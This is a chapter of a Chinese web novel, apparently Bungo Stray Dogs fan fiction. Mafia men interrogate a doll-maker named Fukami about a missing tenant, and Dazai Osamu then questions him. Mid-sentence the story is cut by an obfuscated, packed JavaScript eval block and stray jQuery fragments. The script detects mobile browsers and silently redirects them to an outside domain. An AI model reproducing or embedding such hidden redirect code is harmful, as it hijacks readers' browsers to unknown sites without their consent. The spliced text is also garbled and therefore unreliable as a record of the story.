默认冷灰
24号文字
方正启体

11. 宇多源美代06

作者:一月二十一日本书字数:K更新时间:
    一个小时前,日之出町,未来公馆。


    “姓名。”


    “深见。”


    “来横滨做什么?”


    “继承遗产?有人将这幢公馆赠送给我,正好东京的工作不太顺利,于是我便打算来到横滨工作。”


    “你是做什么工作的?”


    “人形师,做人偶的。”


    “关于住在隔壁的女人,名字叫做宇多源美代的,你知道多少?”


    “宇多源小姐?我们只见过一面,还是我刚来时和租客相约见面、商谈合同的时候,她的合同还有一周到期,但是她不会继续住下去了,也没有提出退款,所以我们就没有再做深入交谈。”


    “为什么她不打算住下去了?”


    “……因为下定决心了吧。”深见想了想回答道。


    但是对面身穿黑西装的男人却不满意这个答案,他的面相十分凶恶,皮肤粗糙,额头还有一道短短的伤疤。


    “喂,小子,别耍花招,给我老实交代。”


    这群穿黑西装的男人自称来自港口的黑手党,在今天突兀地闯进这幢坐落在居民区的洋房公馆,不顾隔壁的门锁就破门而入,乱翻一通。深见作为房子的主人出声阻止,却被他们五花大绑捆在椅子上问话。


    “我没有说谎。”深见回答,他不着痕迹的动了动手腕,麻绳捆得很紧,磨得他的手腕有些发疼,“请问您找她有什么事情吗?宇多源小姐并未说她会有故人造访,而且这房间我是合法出租给其他人的,您把里面弄成这样,我该怎么和租客交代呀。”


    “哈?你这家伙,知道什么是黑手党吗?”


    深见刚要皱眉,身材健硕的男人就突然一脚踹向椅子,巨大的力气让椅子顿时失去平衡,深见来不及反应,就连人带椅子摔倒在地上。


    肩膀被震得发麻、发痛,额角在地板上磕了一下,此刻有些头晕,更糟糕的是,架在鼻梁上的眼镜随着男人粗暴的动作飞了出去,在木质地板上滑行,最后停靠在墙边的矮柜前。


    黑色的长发如花朵一般四散开来,在重力的作用下自肩膀滑落,垂在地板上,蛇一般向四周蜿蜒,形成一片水藻般的墨色。


    男人的黑皮鞋落在深见的面前,锃光瓦亮的表面反射着周围的光源,倒映着男人模糊成一团肉色的身影,但是深见此刻却顾不上这些了。


    “实话告诉你,那个叫宇多源美代的女人是港口黑手党的人,她偷了一份重要文件,三天前失踪了。这里是她的落脚点,你肯定见过那份文件吧,说!它在哪里!”


    深见安静地倒在地上,漆黑的长发掩住他的面容,散乱的衣服让他显得狼狈不堪,他一动不动地待着,如果不是胸膛的起伏,几乎要被人认为是一具人偶了。


    “三天前?”半晌,他突然开口,语调却十分冷静,不,不如说是异常的平静,“是吗,但是很奇怪啊,那家伙明明——”


    “七天前就已经死掉了。”


    他的脑袋动了一下,脸庞向上侧了侧,头发顺势沿着下颌滑落到脖颈里。深蓝色的眼睛第一次不经过镜片的折射,直面这个世界。这时,这位自称黑手党的男人才发现他的眼睛在光线昏暗的地方竟是这样的漆黑。


    深邃、幽暗,如寒潭一般深不可测,只能在某些角落里窥视到一丝蓝色的剪影,仿佛那双眼睛正是由于这些蓝色的不断堆叠,才形成这般浓郁的黑色。


    他想到了某个熟悉的人。那人也有着这样一双令人胆寒、视人如死物的眼睛,那是最冷漠的刽子手都不会拥有的眼神。


    那不是人类的眼神。


    男人下意识后退一步,但很快他又为自己的动作而感到愤怒。


    仿佛察觉到对方的愤怒,深见还不等男人的火冒出来,就自动移开了骇人的目光,垂下眼帘,遮住视线,一副乖巧安静的样子。


    “宇多源美代早已在七天前死亡,人死债消,我不知道你们和她有什么纠葛,但是这件事情和我一点关系都没有。”


    “劳驾,”他的声音有些古怪,词语仿佛被硬生生从他的嘴里挤出来一样,“可以把我的眼镜递给我吗?”


    黑手党显然不是好说话的角色。或者说,黑手党显然不是可以凭借正常的社交技巧进行沟通的角色。


    男人非但没有帮深见捡回眼镜,还掏出枪来上了扳机对着深见打算进一步进行威胁。当然,好的一点在于他把椅子从地上扶起来了,深见得以坐着听他放一些意义不明的狠话。


    他看着男人的嘴开开合合,像扇贝一样滑稽可笑,词语滔滔不绝地从里面冒出来,就像一块块光滑的肥肉,吐出来又吞回去,湿滑粘腻,像内脏一样。


    但是深见已经听不清楚他在讲些什么了。事实上,那些往日熟悉的语词和短句此刻宛如扭曲的音符,从他的左耳道进入大脑,然后又飞快地从右耳道钻出,不留一丝可以被理解的意义。穿着黑西装的男人的形象在他眼中也慢慢变形,漩涡将他的上半身吞噬,扭曲成一块肉色的大型扇贝。


    就在他以为这种无聊的行为还要持续一段时间时,门外的走廊突然传来一阵不同的脚步声。


    皮鞋的橡胶底与木质地板碰撞发出啄木鸟一般的咚咚声,那步伐不紧不慢,带着一种悠扬的节奏,宛如蓝调爵士一样优雅地款款而来,抵达门口。


    深见被这突然闯入的声音吸引,一种莫名的直觉告诫他一些不同寻常的、将会引发巨变的事情将要发生。他不由自主地悄悄移动视线,在隐蔽的地方透过头发的缝隙观察那扇门。


    吱呀——


    大门被推开,光线涌入,逆光而来的人成为一片黑色的剪影。


    滔滔不绝的扇贝退到一旁,扭曲的漩涡如摩西分海一般退往两侧,潮汐与海浪如同臣子般向他跪服,遵循他的意志在这被污染、被扭曲、被氧化的世界中留出一条干净的、通往天国的窄道。


    他迈着闲适的、优雅的步伐朝深见走来,仿佛周围的一切都无法撼动他。黑色的皮鞋最终停在他的面前,脚尖分开指向两条不同的路径。


    深见抬头,顶着几日以来罕见的日光,迎上那不速之客的目光。


    那是一个十六岁的少年,尚且稚嫩的面孔已被黑暗打磨出锐利的棱角,他有一头黑色的短发,微卷的发梢轻盈的打着弯,显得柔软又蓬松。他的眼睛是棕色的,逆光时颜色加深,甚至泛出些灰红的底调,呈现出一种奇异的鸢色。


    绷带缠满了他的全身,黑色的西装修饰出瘦削的体格,宽大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706465|173551||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的黑色大衣披在肩膀上,平白为他增添摄人的气势。他的目光与深见撞在一起,被绷带包裹、唯一露出的眼睛闪了闪,眉梢上扬,透露出饶有趣味的情绪。


    一切的洪流在此终结。


    深见听到自己的心脏发出沉稳有力的跳动,血液在四肢奔流,如江河般不作停歇,嘶吼着冲入浩瀚的汪洋。


    他屏住呼吸,下意识放轻的动作,缓缓地、有节制地,露出一个笑容来。


    “你好。”他向来者打招呼。


    “劳驾,能把我的眼镜递给我吗?”


    这就是太宰治第一次见到深见时的情况。


    他驻足片刻,很快将目光移动到掉落在地面上的眼镜上。深见只觉得眼前一花,视野便重新回到了熟悉的样子。


    他眨眨眼,让眼球适应新焦距。就看见有着一头柔软的黑色短发、用绷带包住一只眼睛的人正笑吟吟站在他对面,为了适应他坐着的高度还微微俯身,让那件宽大的黑色外套如瀑布一般挡住了自身后射来的光线。


    “唔,不错不错,戴着刚刚好,可惜镜片摔碎了,怎么样?看得清楚吗?”


    “谢谢,看得很清楚。”深见回答道,“我是深见,这幢公寓现在的主人。”


    “我知道哦。”太宰治说着,自顾自找了张椅子,拉过来与深见面对面坐着。


    深见跟着动了动被绑着的手臂,调整了一下坐姿:“还未请教您的姓名。”


    “太宰,太宰治。”缠绕着绷带的少年回答,他露出一个一闪而逝的笑容,翘着腿,一手撑着脑袋,歪着头用仅露出的一只眼睛看着深见。


    “你,刚刚是想杀了他吗?”


    听到太宰治的话,深见的呼吸一滞,“……为什么这么说?”


    “眼神,你刚刚看他的眼睛就像看死人一样。明明在兢兢业业地做着威胁人的工作,但被威胁的人却把自己当死物……”太宰治评价道,“还挺有趣的。”


    “这样啊——那您喜欢吗?”


    “不,我讨厌。”太宰治迅速变脸,冷酷无情地道,“讨厌的快要吐出来了。”


    深见眨眨眼,看着他,语气柔和,“那现在呢?”


    太宰治看着他,“更是令人作呕。”


    深见失望了叹了口气,“您讨厌我呢,真可惜,我其实还挺喜欢您的。”


    装模做样的家伙。太宰治在心里评价道。


    “不过,您刚刚说的其实并不准确,我并没有想杀了他——那位您的下属,虽然他的动作十分粗暴,行为也十分粗鲁,但我并不会因此就决定要杀了他的。”深见言辞恳切地道,“杀人是一件十分重要的事,必须有充足的决心、做好充足的准备才可以,随便把人杀掉这种事没有任何意义,就像只知道茹毛饮血的野兽一样。”


    太宰治目光古怪地看着他:“谁教的你这些歪理?”


    “嗯?”深见疑惑地看着他,“我现在的监护人是这样说的,我觉得很有道理,怎么了?”


    “不,没什么。”太宰治摇摇头,放过了这个话题。


    然而,就在深见以为他们可以继续令人愉快的谈话时,太宰治突然出声提问:


    “所以,你就是这样对待宇多源美代的?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)